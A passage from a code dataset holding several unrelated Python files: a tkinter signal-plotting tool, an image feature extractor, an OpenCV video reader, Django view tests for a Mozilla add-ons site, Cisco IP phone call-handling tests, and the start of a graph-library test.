fig.suptitle(\"ShotNo. {}_{}\".format(Shot.get(),Sub.get()),fontsize = 30)\n dir = datapath.get()\n deci = int(deci_entry.get())\n edge1 = int(time_entry_s.get()) * 1000 \n edge2 = int(time_entry_e.get()) * 1000 -1\n dagfile = DAGS[combo.get()]\n \"\"\"\n check box で指定できるようにする\n \"\"\"\n raw_list = []\n\n check = [0,1]\n for i in check:\n raw = fid.read(shot = Shot.get(), subshot = Sub.get(),\n tower = dagfile.loc[i,\"tower\" ].strip(),\n station = dagfile.loc[i,\"station\"].strip(),\n ch = dagfile.loc[i,\"ch\" ].strip(),\n dir = dir,start = edge1, end = edge2)\n if deci == 0:\n pass\n else:\n raw = sig.decimate(raw ,deci)\n raw_list.append(raw)\n labels = dagfile.loc[:,\"name\"]\n time = np.linspace(edge1/1e6, edge2/1e6,len(raw_list[0]) )\n ax.cla() #clear plot\n\n #plot raw\n for i in range( len(raw_list) ):\n ax.plot(time *1000,raw_list[i],label = labels[i])\n\n #configuration\n ax.legend(fontsize = 10, loc = \"upper right\")\n ax.set_xlabel(\"time (ms)\")\n ax.set_ylabel(\"intensity (a.u)\")\n ax.set_xlim(time.min()*1000,time.max()*1000)\n canvas.draw()\n print(\"done 1dplot {} {}_{}\".format( combo.get(),Shot.get(),Sub.get()))\ndef save1d(event):\n name = Shot.get() + \"_\" + Sub.get()\n os.chdir(home + \"/Desktop\")\n fig.savefig(name + \" 1Ds.png\")\n print(\"save figure {}_{}\".format(Shot.get(),Sub.get()))\n#clear figure\ndef clear(event):\n ax.cla()\n fig.tight_layout()\n fig.subplots_adjust(top=0.87)\n canvas.draw() \n print(\"Clear Plot\")\n#1d\ncombo.bind('<>', ccb)\n#combo.configure(command = ccb)\nbtn_p.bind(\"\", plot1d)\nbtn_q.bind(\"\", quit)\nbtn_s.bind(\"\", save1d)\nbtn_c.bind(\"\", clear)\n# #==================\n#check button\n#==================\n# for j in range(10):\n# for i in range(5):\n# cb = tk.Checkbutton(f2,text = \"ch\" + str(i+1 +j*5))\n# cb.place(x = 10 + 100*i ,y = 50+ 50 * (j+1))\n\n\n#====================\n#for develop(delite)\n#----- time out ----- \n# # #====================\n# def quit():\n# root.quit()\n# time = 5\n# root.after(5 * 1000, quit)\nroot.mainloop()\n\n\n\n\n\n\n#plot option\n#down sampling\n#range selection\n#normarize\n#1d/2d","sub_path":"app/monitor_detail.py","file_name":"monitor_detail.py","file_ext":"py","file_size_in_byte":10246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"341306370","text":"# Code to extract features form transfer learning to train just the top layers\ndef create_features(dataset, pre_model, input_size):\n \n x_scratch = []\n \n # loop over the images\n for imagePath in dataset:\n \n\n image = load_img(imagePath, target_size=input_size)\n image = img_to_array(image)\n \n # preprocess the image by (1) expanding the dimensions and\n # (2) subtracting the mean RGB pixel intensity from the\n # ImageNet dataset\n image = np.expand_dims(image, axis=0)\n image = imagenet_utils.preprocess_input(image)\n \n # add the image to the batch\n x_scratch.append(image)\n \n x = np.vstack(x_scratch)\n features = pre_model.predict(x, batch_size=32)\n features_flatten = features.reshape((features.shape[0], 7 * 7 * 512))\n return x, features, features_flatten","sub_path":"TinyML/TL_Feature.py","file_name":"TL_Feature.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"416800470","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# code for python3\n\nimport cv2\n\n\n# get info\ncap = cv2.VideoCapture(\"mov/mov01.avi\")\nwidth = cap.get(cv2.CAP_PROP_FRAME_WIDTH)\nheight = cap.get(cv2.CAP_PROP_FRAME_HEIGHT)\ncount = cap.get(cv2.CAP_PROP_FRAME_COUNT)\nfps = cap.get(cv2.CAP_PROP_FPS)\nprint(\"image width : \" + str(width))\nprint(\"image height : \" + str(height))\nprint(\"the num of frames : \" + str(count))\nprint(\"frame rate(fps) : \" + str(fps))\n\n\n# output\nwhile(cap.isOpened()):\n ret, frame = cap.read()\n if ret:\n cv2.imshow(\"frame\", frame)\n if cv2.waitKey(1) & 0xFF == ord(\"q\"):\n break\ncap.release()\ncv2.destroyAllWindows()","sub_path":"chapter9/82_load_moviefile.py","file_name":"82_load_moviefile.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"155585357","text":"from datetime import datetime\nimport urllib\n\nfrom django import http, test\nfrom django.conf import settings\nfrom django.core.cache import cache, parse_backend_uri\n\nimport commonware.log\nfrom lxml import etree\nfrom mock import patch, Mock\nfrom nose import SkipTest\nfrom nose.tools import eq_\nfrom pyquery import PyQuery as pq\nimport test_utils\n\nfrom access.models import Group, GroupUser\nfrom amo.urlresolvers import reverse\nfrom amo.pyquery_wrapper import PyQuery\nfrom stats.models import SubscriptionEvent\n\nURL_ENCODED = 'application/x-www-form-urlencoded'\n\n\ndef test_login_link():\n \"Test that the login link, encodes parameters correctly.\"\n r = test.Client().get('/?your=mom', follow=True)\n doc = pq(r.content)\n assert doc('.context a')[1].attrib['href'].endswith(\n '?to=%2Fen-US%2Ffirefox%2F%3Fyour%3Dmom'), (\"Got %s\" %\n doc('.context a')[1].attrib['href'])\n\n r = test.Client().get('/en-US/firefox/search/?q=%B8+%EB%B2%88%EC%97%A')\n doc = pq(r.content)\n link = doc('.context a')[1].attrib['href']\n assert link.endswith('?to=%2Fen-US%2Ffirefox%2Fsearch%2F%3Fq%3D%25EF'\n '%25BF%25BD%2B%25EB%25B2%2588%25EF%25BF%25BDA'), \"Got %s\" % link\n\nclass Client(test.Client):\n \"\"\"Test client that uses form-urlencoded (like browsers).\"\"\"\n\n def post(self, url, data={}, **kw):\n if hasattr(data, 'items'):\n data = urllib.urlencode(data)\n kw['content_type'] = URL_ENCODED\n return super(Client, self).post(url, data, **kw)\n\n\ndef test_404_no_app():\n \"\"\"Make sure a 404 without an app doesn't turn into a 500.\"\"\"\n # That could happen if helpers or templates expect APP to be defined.\n url = reverse('amo.monitor')\n response = test.Client().get(url + 'nonsense')\n eq_(response.status_code, 404)\n\n\ndef test_404_app_links():\n response = test.Client().get('/en-US/thunderbird/xxxxxxx')\n eq_(response.status_code, 404)\n links = pq(response.content)('[role=main] ul li a:not([href^=mailto])')\n eq_(len(links), 4)\n for link in links:\n href = link.attrib['href']\n assert href.startswith('/en-US/thunderbird'), href\n\n\nclass TestStuff(test_utils.TestCase):\n fixtures = ('base/users', 'base/global-stats', 'base/configs',)\n\n def test_data_anonymous(self):\n def check(expected):\n response = self.client.get('/', follow=True)\n anon = PyQuery(response.content)('body').attr('data-anonymous')\n eq_(anon, expected)\n\n check('true')\n self.client.login(username='admin@mozilla.com', password='password')\n check('false')\n\n def test_my_account_menu(self):\n def get_homepage():\n response = self.client.get('/', follow=True)\n return PyQuery(response.content)\n\n # Logged out\n doc = get_homepage()\n eq_(doc('#aux-nav .account').length, 0)\n eq_(doc('#aux-nav .tools').length, 0)\n\n # Logged in, regular user = one tools link\n self.client.login(username='regular@mozilla.com', password='password')\n doc = get_homepage()\n eq_(doc('#aux-nav .account').length, 1)\n eq_(doc('#aux-nav ul.tools').length, 0)\n eq_(doc('#aux-nav p.tools').length, 1)\n\n # Logged in, admin = multiple links\n self.client.login(username='admin@mozilla.com', password='password')\n doc = get_homepage()\n eq_(doc('#aux-nav .account').length, 1)\n eq_(doc('#aux-nav ul.tools').length, 1)\n eq_(doc('#aux-nav p.tools').length, 0)\n\n def test_heading(self):\n def title_eq(url, expected):\n response = self.client.get(url, follow=True)\n actual = PyQuery(response.content)('#title').text()\n eq_(expected, actual)\n\n title_eq('/firefox', 'Add-ons for Firefox')\n title_eq('/thunderbird', 'Add-ons for Thunderbird')\n title_eq('/mobile', 'Mobile Add-ons for Firefox')\n\n def test_xenophobia(self):\n r = self.client.get(reverse('home'), follow=True)\n self.assertNotContains(r, 'show only English (US) add-ons')\n\n def test_login_link(self):\n r = self.client.get(reverse('home'), follow=True)\n doc = PyQuery(r.content)\n next = urllib.urlencode({'to': '/en-US/firefox/'})\n eq_('/en-US/firefox/users/login?%s' % next,\n doc('#aux-nav p a')[1].attrib['href'])\n\n\nclass TestPaypal(test_utils.TestCase):\n\n def setUp(self):\n self.url = reverse('amo.paypal')\n self.item = 1234567890\n self.client = Client()\n\n def urlopener(self, status):\n m = Mock()\n m.readline.return_value = status\n return m\n\n @patch('amo.views.urllib2.urlopen')\n def test_not_verified(self, urlopen):\n urlopen.return_value = self.urlopener('xxx')\n response = self.client.post(self.url)\n assert isinstance(response, http.HttpResponseForbidden)\n\n @patch('amo.views.urllib2.urlopen')\n def test_no_payment_status(self, urlopen):\n urlopen.return_value = self.urlopener('VERIFIED')\n response = self.client.post(self.url)\n eq_(response.status_code, 200)\n\n @patch('amo.views.urllib2.urlopen')\n def test_subscription_event(self, urlopen):\n urlopen.return_value = self.urlopener('VERIFIED')\n response = self.client.post(self.url, {'txn_type': 'subscr_xxx'})\n eq_(response.status_code, 200)\n eq_(SubscriptionEvent.objects.count(), 1)\n\n def test_get_not_allowed(self):\n response = self.client.get(self.url)\n assert isinstance(response, http.HttpResponseNotAllowed)\n\n @patch('amo.views.urllib2.urlopen')\n def test_mysterious_contribution(self, urlopen):\n scheme, servers, _ = parse_backend_uri(settings.CACHE_BACKEND)\n if 'dummy' in scheme:\n raise SkipTest()\n urlopen.return_value = self.urlopener('VERIFIED')\n\n key = \"%s%s:%s\" % (settings.CACHE_PREFIX, 'contrib', self.item)\n\n data = {'txn_id': 100,\n 'payer_email': 'jbalogh@wherever.com',\n 'receiver_email': 'clouserw@gmail.com',\n 'mc_gross': '99.99',\n 'item_number': self.item,\n 'payment_status': 'Completed'}\n response = self.client.post(self.url, data)\n assert isinstance(response, http.HttpResponseServerError)\n eq_(cache.get(key), 1)\n\n cache.set(key, 10, 1209600)\n response = self.client.post(self.url, data)\n assert isinstance(response, http.HttpResponse)\n eq_(cache.get(key), None)\n\n @patch('amo.views.urllib2.urlopen')\n def test_query_string_order(self, urlopen):\n urlopen.return_value = self.urlopener('HEY MISTER')\n query = 'x=x&a=a&y=y'\n response = self.client.post(self.url, data=query,\n content_type=URL_ENCODED)\n eq_(response.status_code, 403)\n _, path, _ = urlopen.call_args[0]\n eq_(path, 'cmd=_notify-validate&%s' % query)\n\n @patch('amo.views.urllib2.urlopen')\n def test_any_exception(self, urlopen):\n urlopen.side_effect = Exception()\n response = self.client.post(self.url, {})\n eq_(response.status_code, 500)\n eq_(response.content, 'Unknown error.')\n\n\ndef test_jsi18n_caching():\n \"\"\"The jsi18n catalog should be cached for a long time.\"\"\"\n # Get the url from a real page so it includes the build id.\n client = test.Client()\n doc = pq(client.get('/', follow=True).content)\n js_url = reverse('jsi18n')\n url_with_build = doc('script[src^=\"%s\"]' % js_url).attr('src')\n\n response = client.get(url_with_build, follow=True)\n fmt = '%a, %d %b %Y %H:%M:%S GMT'\n expires = datetime.strptime(response['Expires'], fmt)\n assert (expires - datetime.now()).days >= 365\n\n\ndef test_dictionaries_link():\n doc = pq(test.Client().get('/', follow=True).content)\n link = doc('#categoriesdropdown a[href*=\"language-tools\"]')\n eq_(link.text(), 'Dictionaries & Language Packs')\n\n\ndef test_remote_addr():\n \"\"\"Make sure we're setting REMOTE_ADDR from X_FORWARDED_FOR.\"\"\"\n client = test.Client()\n # Send X-Forwarded-For as it shows up in a wsgi request.\n client.get('/en-US/firefox/', follow=True, HTTP_X_FORWARDED_FOR='oh yeah')\n eq_(commonware.log.get_remote_addr(), 'oh yeah')\n\n\ndef test_opensearch():\n client = test.Client()\n page = client.get('/en-US/firefox/opensearch.xml')\n\n wanted = ('Content-Type', 'text/xml')\n eq_(page._headers['content-type'], wanted)\n\n doc = etree.fromstring(page.content)\n e = doc.find(\"{http://a9.com/-/spec/opensearch/1.1/}ShortName\")\n eq_(e.text, \"Firefox Add-ons\")\n\n\ndef test_language_selector():\n doc = pq(test.Client().get('/en-US/firefox/').content)\n eq_(doc('form.languages option[selected]').attr('value'), 'en-us')\n","sub_path":"apps/amo/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":8756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"282474808","text":"#!/usr/bin/env python\n\"\"\"\nScript Header\n\n$Id: cmCC_two_way_call_premerge\n\nCopyright (c) 2016-2017 Cisco Systems, Inc.\n\nReferences:\n Tph10416799c\n Tph10227522c\n Tph10133639c\n Tph10120779c\n Tph10076062c\n Tph10133648c\n Tph10227203c\n Tph10141502c\n\nTest Cases:\n test0101_multi_line_multi_call\n test0102_multi_line_hold_resume\n test0201_dial_plan_plus_number\n test0301_secure_rtp_call\n test0401_dmtf_auto\n test0501_basic_speed_dial\n test0601_psk_speed_dial\n test0701_plk_speed_dial\n\nTopology:\n 1. Two Phones\n 2. Four User IDs\n 3. One Auto Attendant Number\n\nNotes:\n\nKnown bugs:\n\"\"\"\n\nimport tng\nimport logging\nfrom tng_sl.plugins.synergylite_3pcc_ui import SynergyLite3pccUiHelper\nfrom tng_sl.contrib.setup_helper import SetupHelpersTestCase\nfrom tng_sl.contrib.mpp.phone_config_helper import PhoneConfigHelper\nfrom tng_sl.contrib.mpp.phone_line_reg_helper import PhoneLineRegHelper\nfrom tng_sl.device.endpoint.synergylite.synergylite_3pcc_extended import (\n wait_for_ccapi_call_states, wait_for_registration_states)\nfrom tng.api import concurrent\nfrom functools import partial\nfrom cmCC_premerge_Base import cmCC_premerge_Base\n\nlog = logging.getLogger('TwoWayCallTestCase')\n\n\nclass TwoWayCallTestCase(cmCC_premerge_Base, SetupHelpersTestCase):\n helpers = (PhoneConfigHelper,)\n helper_num_devices = 2\n\n @classmethod\n def setUpClass(cls):\n log.info(\"Start of setUpClass\")\n cls.sip_proxy = cls.phone_data['proxy']\n cls.user_id3 = cls.phone_data['userID3']\n cls.user_id4 = cls.phone_data['userID4']\n cls.phone1_line_num = cls.oPhone1.get_phone_line_total_number()\n cls.phone2_line_num = cls.oPhone2.get_phone_line_total_number()\n\n cls.oPhone1.userid1 = cls.user_id1\n cls.oPhone2.userid1 = cls.user_id3\n cls.auto_attendant_number = cls.toolkit.get_test_env_info(\n section='bsoft', parameter_name='auto_attendant_number')\n\n super(TwoWayCallTestCase, cls).setUpClass()\n\n log.info(\"End of setUpClass\")\n\n # ============ Group Multi Line ============\n\n # TIMS ID: Tph10416799c\n # Author: Jingming Xu(jingmxu@cisco.com)\n\n # Description and Test Steps: Multi call on multi line\n # 1. Phone A make a call to phone B\n # 2. Phone B is Ringing\n # 3. Phone B answers the call, connected state\n # 4. Phone A [line 2] make a call to phone B\n # 5. Phone B answers the call, [call 2]connected state\n # 6. Phone B [line 2] make a call to phone A [line 2]\n # 7. PHone A [line 2] answer the call, connected state\n # 8. Phone A [line 2,call 2] hangup, phone B [line 2] back to IDLE\n # 9. Phone B hangup [call 2]\n # 10. phone B hangup [call 1], Phone B back to IDLE\n # 11. Phone A back to IDLE\n\n # Verify:\n # 1. Check primary line or non-primary line could make\n # several calls each other.\n\n # Topology:\n # 1. Two 3PCC phones\n # 2. 4 user ids\n\n def test0101_multi_line_multi_call(self):\n log.info(\"Start of test0101_multi_line_multi_call\")\n\n if self.phone1_line_num < 2 or self.phone2_line_num < 2:\n self.skipTest(\"No enough lines on phone\")\n log.info(\"Make the first call from Phone A line 1 to Phone B line 1\")\n self.make_call()\n log.info(\"Make the second call from Phone A line 2 to Phone B line 1\")\n self.make_call(2, 1, 0, 1)\n log.info(\"Make the third call from Phone A line 2 to Phone B line 2\")\n self.make_call(2, 2, 1, 0)\n log.info(\"Phone A hangup the third call\")\n self.oPhone1.ccapi.hangUp('0101')\n wait_for_ccapi_call_states(\n [self.oPhone2], ('IDLE',), (2,))\n log.info(\"Phoen B hangup the second call\")\n self.oPhone2.ccapi.hangUp('0001')\n log.info(\"Phone A hangup the first call\")\n self.oPhone1.ccapi.hangUp('0000')\n wait_for_ccapi_call_states(\n [self.oPhone1, self.oPhone2], (\"IDLE\", \"IDLE\"))\n\n log.info(\"End of test0101_multi_line_multi_call\")\n\n # TIMS ID: Tph10227522c\n # Author: Jingming Xu(jingmxu@cisco.com)\n\n # Description and Test Steps: Hold/Resume call on multi line\n # 1. Phone A make a call to phone B\n # 2. Phone B is Ringing\n # 3. Phone B anwser the call, connected state\n # 4. Hold the call on phone A.\n # 5. Resume the call on Phone A.\n # 6. Phone A hangup, back to IDLE\n # 7. Phone B back to IDLE\n # 8. Phone B [Line 2] make a call to phone A [line 2]\n # 9. Phone A [line 2] anwser the call, connected state.\n # 10. Hold the call on phone A[line 2]\n # 11. Resume the call on phone A[line 2]\n # 12. Phone B [line 2] hangup, back to IDLE\n # 13. Phone A [line 2] back to IDLE.\n\n # Verify:\n # 1. Check hold and resume on primary line or non-primary line.\n\n # Topology:\n # 1. Two 3PCC phones\n # 2. 4 user ids\n\n def test0102_multi_line_hold_resume(self):\n log.info(\"Start of test0102_multi_line_hold_resume\")\n\n if self.phone1_line_num < 2 or self.phone2_line_num < 2:\n self.skipTest(\"No enough lines on phone\")\n log.info(\"Make the first call from Phone A line 1 to Phone B line 1\")\n self.make_call()\n log.info(\"Phone A hold the call\")\n self.oPhone1.ccapi.hold('0000')\n wait_for_ccapi_call_states(\n [self.oPhone1, self.oPhone2], (\"HOLD\", \"CONNECTED\"))\n log.info(\"Phone A resume the call\")\n self.oPhone1.ccapi.resume('0000')\n wait_for_ccapi_call_states(\n [self.oPhone1, self.oPhone2],\n (\"CONNECTED\", \"CONNECTED\"))\n log.info(\"Phone A hang up the call\")\n self.oPhone1.ccapi.hangUp('0000')\n wait_for_ccapi_call_states(\n [self.oPhone1, self.oPhone2], (\"IDLE\", \"IDLE\"))\n log.info(\"Phone A line 2 make a call to Phone B line 2\")\n self.make_call(2, 2, 0, 0)\n log.info(\"Phone A line 2 hold the call\")\n self.oPhone1.ccapi.hold('0100')\n wait_for_ccapi_call_states(\n [self.oPhone1, self.oPhone2],\n (\"HOLD\", \"CONNECTED\"), (2, 2))\n log.info(\"Phone A line 2 resume the call\")\n self.oPhone1.ccapi.resume('0100')\n wait_for_ccapi_call_states(\n [self.oPhone1, self.oPhone2],\n (\"CONNECTED\", \"CONNECTED\"), (2, 2))\n log.info(\"Phone B line 2 hang up the call\")\n self.oPhone2.ccapi.hangUp('0100')\n wait_for_ccapi_call_states(\n [self.oPhone1, self.oPhone2],\n (\"IDLE\", \"IDLE\"), (2, 2))\n\n log.info(\"End of test0102_multi_line_hold_resume\")\n\n # make a basic call between oPhone1 and oPhone2\n def make_basic_call(self):\n # oPhone1 dial oPhone2\n self.oPhone1.ccapi.dial(\n 'null', self.oPhone2.userid1, '', 1, 0, 1)\n wait_for_ccapi_call_states(\n (self.oPhone1, self.oPhone2),\n ('PROCEEDING', 'RINGING'),\n (1, 1), (0, 0))\n # oPhone2 accept\n self.oPhone2.ccapi.accept('0000')\n wait_for_ccapi_call_states(\n (self.oPhone1, self.oPhone2),\n ('CONNECTED', 'CONNECTED'),\n (1, 1), (0, 0))\n\n # ========== Group Dial Plan BEGIN ==========\n\n # TIMS ID: Tph10133639c\n # Author: Christopher Liu (cliu4@cisco.com)\n\n def test0201_dial_plan_plus_number(self):\n log.info('Start of test0201_dial_plan_plus_number')\n old_dial_plan = self.oPhone1.ui.get_param_value('Dial Plan[1]')\n self.addCleanup(\n self.oPhone1.ui.set_param_value, {'Dial Plan[1]': old_dial_plan})\n # oPhone1 set new dial plan\n new_dial_plan = (\n '(*xx+xxxx.|[3469]11|0|00|[2-9]xxxxxx|'\n '1xxx[2-9]xxxxxxS0|xxxxxxxxxxxx.|+xxxxx.)')\n self.oPhone1.ui.set_param_value({'Dial Plan[1]': new_dial_plan})\n # oPhone1 dial oPhone2 with +1\n self.oPhone1.ccapi.dial(\n 'null', '+1' + self.oPhone2.userid1, '', 1, 0, 1)\n wait_for_ccapi_call_states(\n (self.oPhone1, self.oPhone2),\n ('PROCEEDING', 'RINGING'),\n (1, 1), (0, 0))\n # oPhone2 accept\n self.oPhone2.ccapi.accept('0000')\n wait_for_ccapi_call_states(\n (self.oPhone1, self.oPhone2),\n ('CONNECTED', 'CONNECTED'),\n (1, 1), (0, 0))\n # oPhone1 hangup\n self.oPhone1.ccapi.hangUp('0000')\n wait_for_ccapi_call_states(\n (self.oPhone1, self.oPhone2),\n ('IDLE', 'IDLE'),\n (1, 1), (0, 0))\n log.info('End of test0201_dial_plan_plus_number')\n\n # ========== Group Dial Plan END ==========\n\n # ========== Group Secure Call BEGIN ==========\n\n # TIMS ID: Tph10120779c\n # Author: Christopher Liu (cliu4@cisco.com)\n\n def test0301_secure_rtp_call(self):\n log.info('Start of test0301_secure_rtp_call')\n self.addCleanup(\n self.oPhone1.ui.set_param_value, {'Secure Call Setting': '0'})\n # enable oPhone1 secure call setting\n self.oPhone1.ui.set_param_value({'Secure Call Setting': '1'})\n # make a call from oPhone1 to oPhone2, check secure call\n self.make_basic_call()\n # check secure call\n call_type = concurrent([\n self.oPhone1.ui.get_web_parameter_http,\n self.oPhone2.ui.get_web_parameter_http],\n 'Status', 'Type')\n self.assertEqual('Outbound, Secure', call_type[0])\n self.assertEqual('Inbound, Secure', call_type[1])\n # oPhone1 hangup\n self.oPhone1.ccapi.hangUp('0000')\n wait_for_ccapi_call_states(\n (self.oPhone1, self.oPhone2),\n ('IDLE', 'IDLE'),\n (1, 1), (0, 0))\n\n # make a call from oPhone2 to oPhone1, check not secure call\n # oPhone2 dial oPhone1\n self.oPhone2.ccapi.dial(\n 'null', self.oPhone1.userid1, '', 1, 0, 1)\n wait_for_ccapi_call_states(\n (self.oPhone1, self.oPhone2),\n ('RINGING', 'PROCEEDING'),\n (1, 1), (0, 0))\n # oPhone1 accept\n self.oPhone1.ccapi.accept('0000')\n wait_for_ccapi_call_states(\n (self.oPhone1, self.oPhone2),\n ('CONNECTED', 'CONNECTED'),\n (1, 1), (0, 0))\n # check secure call\n call_type = concurrent([\n self.oPhone1.ui.get_web_parameter_http,\n self.oPhone2.ui.get_web_parameter_http],\n 'Status', 'Type')\n self.assertEqual('Inbound', call_type[0])\n self.assertEqual('Outbound', call_type[1])\n # oPhone1 hangup\n self.oPhone1.ccapi.hangUp('0000')\n wait_for_ccapi_call_states(\n (self.oPhone1, self.oPhone2),\n ('IDLE', 'IDLE'),\n (1, 1), (0, 0))\n log.info('End of test0301_secure_rtp_call')\n\n # ========== Group Secure Call END ==========\n\n # ========== Group DTMF BEGIN ==========\n\n def make_dtmf_auto_att_call(self):\n # oPhone dial dtmf auto attendant number\n self.oPhone1.ccapi.dial(\n 'null', self.auto_attendant_number, '', 1, 0, 1)\n wait_for_ccapi_call_states(\n (self.oPhone1,), ('CONNECTED',), (1,), (0,))\n\n # press 1 first to choose to input party extension\n self.oPhone1.send_dtmf('1')\n tng.api.wait(0.5, reason='for BS to stabilise')\n # oPhone1 pass dtmf digits of oPhone2's extension\n for digit in self.oPhone2.userid1[-4:]:\n self.oPhone1.send_dtmf(digit)\n tng.api.wait(0.5, reason='for interval between 2 keys')\n wait_for_ccapi_call_states(\n (self.oPhone1, self.oPhone2),\n ('CONNECTED', 'RINGING'),\n (1, 1), (0, 0))\n # oPhone2 accept\n self.oPhone2.ccapi.accept(\"0000\")\n wait_for_ccapi_call_states(\n (self.oPhone1, self.oPhone2),\n ('CONNECTED', 'CONNECTED'),\n (1, 1), (0, 0))\n # oPhone1 hangup\n self.oPhone1.ccapi.hangUp('0000')\n wait_for_ccapi_call_states(\n (self.oPhone1, self.oPhone2),\n ('IDLE', 'IDLE'),\n (1, 1), (0, 0))\n\n # TIMS ID: Tph10076062c\n # Author: Christopher Liu (cliu4@cisco.com)\n\n def test0401_dmtf_auto(self):\n log.info('Start of test0401_dmtf_auto')\n # set oPhone1 dtmf tx method to auto\n self.oPhone1.ui.set_param_value({'DTMF Tx Method[1]': 'Auto'})\n self.make_dtmf_auto_att_call()\n log.info('End of test0401_dmtf_auto')\n\n # ========== Group DTMF END ==========\n\n # ========== Group Speed Dial BEGIN ==========\n\n # TIMS ID: Tph10133648c\n # Author: Christopher Liu (cliu4@cisco.com)\n\n def test0501_basic_speed_dial(self):\n log.info('Start of test0501_basic_speed_dial')\n self.addCleanup(\n self.oPhone1.ui.set_param_value,\n {'Speed Dial 2 Name': '', 'Speed Dial 2 Number': ''})\n # set oPhone1 speed dial 2 name and number\n self.oPhone1.ui.set_param_value({\n 'Speed Dial 2 Name': 'sd2',\n 'Speed Dial 2 Number': self.oPhone2.userid1})\n # oPhone1 dial 2#\n self.oPhone1.ccapi.dial('null', '2#', '', 1, 0, 1)\n wait_for_ccapi_call_states(\n (self.oPhone1, self.oPhone2),\n ('PROCEEDING', 'RINGING'),\n (1, 1), (0, 0))\n # oPhone2 accept\n self.oPhone2.ccapi.accept('0000')\n wait_for_ccapi_call_states(\n (self.oPhone1, self.oPhone2),\n ('CONNECTED', 'CONNECTED'),\n (1, 1), (0, 0))\n # oPhone1 hangup\n self.oPhone1.ccapi.hangUp('0000')\n wait_for_ccapi_call_states(\n (self.oPhone1, self.oPhone2),\n ('IDLE', 'IDLE'),\n (1, 1), (0, 0))\n log.info('End of test0501_basic_speed_dial')\n\n # ========== Group Speed Dial END ==========\n def configure_SP_for_PSK_and_PLK(self):\n sd_fnc = 'fnc=sd;ext={0}@$PROXY;nme=sd_{0}'.format(\n self.oPhone2.userid1)\n if self.phone1_line_num > 1:\n self.oPhone1.ui.set_web_parameter_http(\n Ext_2=['Phone', 'Line Key 2', 'Extension', 'Disabled'],\n Ext_Fun=['Phone', 'Line Key 2', 'Extended Function', sd_fnc],\n PSK_En=['Phone', 'Programmable Softkey Enable', '1'],\n PSK1=['Phone', 'PSK 1', sd_fnc],\n Idle_list=['Phone', 'Idle Key List', 'PSK 1;{}'.format(\n self.oPhone1.ui.get_param_value('Idle Key List'))])\n else:\n self.oPhone1.ui.set_web_parameter_http(\n PSK_En=['Phone', 'Programmable Softkey Enable', '1'],\n PSK1=['Phone', 'PSK 1', sd_fnc],\n Idle_list=['Phone', 'Idle Key List', 'PSK 1;{}'.format(\n self.oPhone1.ui.get_param_value('Idle Key List'))])\n wait_for_registration_states((self.oPhone1,), ['REGISTERED'])\n\n # ========== Group PSK BEGIN ==========\n\n # TIMS ID: Tph10227203c\n # Author: Christopher Liu (cliu4@cisco.com)\n\n def test0601_psk_speed_dial(self):\n log.info('Start of test0601_psk_speed_dial')\n\n self.configure_SP_for_PSK_and_PLK()\n # oPhone1 press softkey1\n self.oPhone1.ccapi.pressKey(SynergyLite3pccUiHelper.PK_SK1)\n wait_for_ccapi_call_states(\n (self.oPhone1, self.oPhone2),\n ('PROCEEDING', 'RINGING'),\n (1, 1), (0, 0))\n # oPhone2 accept\n self.oPhone2.ccapi.accept('0000')\n wait_for_ccapi_call_states(\n (self.oPhone1, self.oPhone2),\n ('CONNECTED', 'CONNECTED'),\n (1, 1), (0, 0))\n # oPhone1 hangup\n self.oPhone1.ccapi.hangUp('0000')\n wait_for_ccapi_call_states(\n (self.oPhone1, self.oPhone2),\n ('IDLE', 'IDLE'),\n (1, 1), (0, 0))\n log.info('End of test0601_psk_speed_dial')\n\n # ========== Group PSK END ==========\n\n # ========== Group PLK BEGIN ==========\n\n # TIMS ID: Tph10141502c\n # Author: Christohper Liu (cliu4@cisco.com)\n\n def test0701_plk_speed_dial(self):\n log.info('Start of test0701_plk_speed_dial')\n if self.phone1_line_num < 2:\n self.skipTest(\"No enough lines on phone\")\n self.configure_SP_for_PSK_and_PLK()\n # oPhone1 press linkey2\n self.oPhone1.ccapi.sendKey(SynergyLite3pccUiHelper.PK_LN2, 1, '0000')\n wait_for_ccapi_call_states(\n (self.oPhone1, self.oPhone2),\n ('PROCEEDING', 'RINGING'),\n (1, 1), (0, 0))\n # oPhone2 accept\n self.oPhone2.ccapi.accept('0000')\n wait_for_ccapi_call_states(\n (self.oPhone1, self.oPhone2),\n ('CONNECTED', 'CONNECTED'),\n (1, 1), (0, 0))\n # oPhone1 hangup\n self.oPhone1.ccapi.hangUp('0000')\n wait_for_ccapi_call_states(\n (self.oPhone1, self.oPhone2),\n ('IDLE', 'IDLE'),\n (1, 1), (0, 0))\n log.info('End of test0701_plk_speed_dial')\n\n # ========== Group PLK END ==========\n\n\ndef main():\n tng.api.runner()\n\nif __name__ == '__main__':\n tng.api.run(main)\n","sub_path":"common/pre_merge/cmCC_two_way_call_premerge.py","file_name":"cmCC_two_way_call_premerge.py","file_ext":"py","file_size_in_byte":16980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"624697729","text":"\n\n\nfrom ..Node import Node, Graph, graphFromFile, graphToFile, graphToDOTFile, graph2mat\n\n\n\n# Create temporary file with graph\ntext='''isDirected True\nA,B,C\nA-B\nB-C\nA-C\n'''\n\nFILEPATH_FROM = '/tmp/testingGraphFromFile'\nFILEPATH_TO = '/tmp/testingGraphToFile'\n\n# test Graph formation an graphFromFile\nwith open(FILEPATH_FROM, 'w') as f:\n f.write(text)\n f.flush()\n f.close()\n \n G = graphFromFile(FILEPATH_FROM)\n vertexes = G.vertexes()\n\n assert len(vertexes) == 3\n\n edges = G.edges()\n\n assert len(edges) == 3\n\n A = vertexes['A'] \n B = vertexes['B'] \n C = vertexes['C'] \n A.data = 32\n\n assert B in A._neighs\n assert not A in B._neighs\n assert C in B._neighs\n assert not B in C._neighs\n assert not A in C._neighs\n\n G.addEdge(C,B)\n\n assert B in C._neighs\n\n G.addVertex('E')\n E = vertexes['E']\n G.addEdge(A,E)\n\n assert E in A._neighs\n 